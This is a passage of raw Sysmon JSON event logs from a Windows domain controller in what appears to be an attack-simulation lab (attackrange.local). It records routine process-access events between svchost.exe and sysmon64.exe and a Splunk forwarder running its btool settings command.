11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.195\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nProcessId: 3852\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nParentProcessId: 3832\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.195","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-00101DCD0200}","ParentProcessId":"3832","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 